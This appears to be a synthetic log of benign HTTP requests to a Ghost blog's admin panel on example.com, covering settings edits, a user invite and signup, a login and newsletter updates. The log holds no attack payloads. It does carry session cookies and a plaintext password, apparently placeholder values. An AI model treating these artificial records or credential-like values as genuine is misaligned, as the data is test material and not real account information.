{"method": "GET", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/design-settings-R1OjGW68.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/network-C2Wz-Sfw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/explore-default-logo-P7UjmPqe.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/integrations-settings-Ba5Zx8yQ.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pintura-CXOmq-5H.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mailchimp-Ds_NQ04w.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/members-D1Y_hke9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-route-BZwzEPZL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filters-2r-Nhhaw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/classApi-G56FoJgF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filter-operator-options-DxNDR7Tm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/map-atlas-DafQOER4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/create-custom-field-popover-Dr-RhlK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/labels/?limit=100&order=name+asc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3A-archived&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/world-states-CbpvhpIU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/map-atlas-DafQOER4.js", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"title\",\"value\":\"Example Blog: python3 & powershell notes\"},{\"key\":\"description\",\"value\":\"Shell tips: ls -la, .htaccess, python3 and powershell.\"}]}"}
{"method": "GET", "target": "/ghost/assets/code-editor-view-CSIPkKHC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 417", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"codeinjection_head\",\"value\":\"<meta name=\\\"google-site-verification\\\" content=\\\"example-verification-token\\\">\\n<link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\\n<style>:root { --ghost-accent-color: #2a6f97; } .gh-head { border-bottom: 1px solid #eee; }</style>\"},{\"key\":\"codeinjection_foot\",\"value\":\"<div class=\\\"site-note\\\">Hosted notes on python3, powershell and .htaccess.</div>\"}]}"}
{"method": "GET", "target": "/ghost/assets/invite-user-modal-DjWUlzA-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100&permissions=assign", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 120", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"invites\":[{\"email\":\"bob@example.com\",\"role_id\":\"6af4570fd281b00001a59895\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "GET", "target": "/ghost/signup/MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/signup-sKkAjHyM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=bob%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 207", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0\",\"name\":\"Bob Example\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"bob@example.com\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"bob@example.com\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\"}"}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft%2Bauthors%3Abob&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletter-detail-modal-D7J2VZwE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/form-section-DvfOHVon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/html-field-CjQZo4D_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preview-modal-BlZMSkK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-cover-yM4cP_Mo.jpg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/?include=count.active_members%2Ccount.posts", "headers": ["Host: example.com", "Content-Length: 1340", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\",\"uuid\":\"695dbeb5-0877-4cb3-8e1a-53f2ea88dd55\",\"name\":\"Shell tips weekly: python3 & powershell\",\"description\":null,\"feedback_enabled\":false,\"slug\":\"default-newsletter\",\"sender_name\":\"Alice from Example Blog\",\"sender_email\":null,\"sender_reply_to\":\"newsletter\",\"status\":\"active\",\"visibility\":\"members\",\"subscribe_on_signup\":true,\"sort_order\":0,\"header_image\":null,\"show_header_icon\":true,\"show_header_title\":true,\"title_font_category\":\"sans_serif\",\"title_font_weight\":\"bold\",\"title_alignment\":\"center\",\"show_excerpt\":false,\"show_feature_image\":true,\"body_font_category\":\"sans_serif\",\"footer_content\":\"<p dir=\\\"ltr\\\"><span>Questions about python3, powershell or .htaccess? Reply to this email.</span></p>\",\"show_badge\":true,\"show_header_name\":false,\"show_post_title_section\":true,\"show_comment_cta\":true,\"show_share_button\":false,\"show_subscription_details\":false,\"show_latest_posts\":false,\"background_color\":\"light\",\"header_background_color\":\"transparent\",\"button_color\":\"accent\",\"link_color\":\"accent\",\"post_title_color\":null,\"section_title_color\":null,\"divider_color\":null,\"button_corners\":\"rounded\",\"button_style\":\"fill\",\"image_corners\":\"square\",\"link_style\":\"underline\",\"created_at\":\"2026-11-11T11:52:48.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"count\":{\"posts\":0,\"active_members\":0}}]}"}
{"method": "GET", "target": "/ghost/assets/add-integration-modal-Db8lCsZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"integrations\":[{\"name\":\"Example sync for python3 scripts\"}]}"}
{"method": "GET", "target": "/ghost/assets/custom-integration-modal-DQA3GFy6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/design-and-theme-modal-D0LQ4lu4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/modal-page-BJksnimm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-breadcrumbs-DmaKJn41.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-design-form-Dzxmr_cn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/iframe-buffering-CJ8F4CUT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
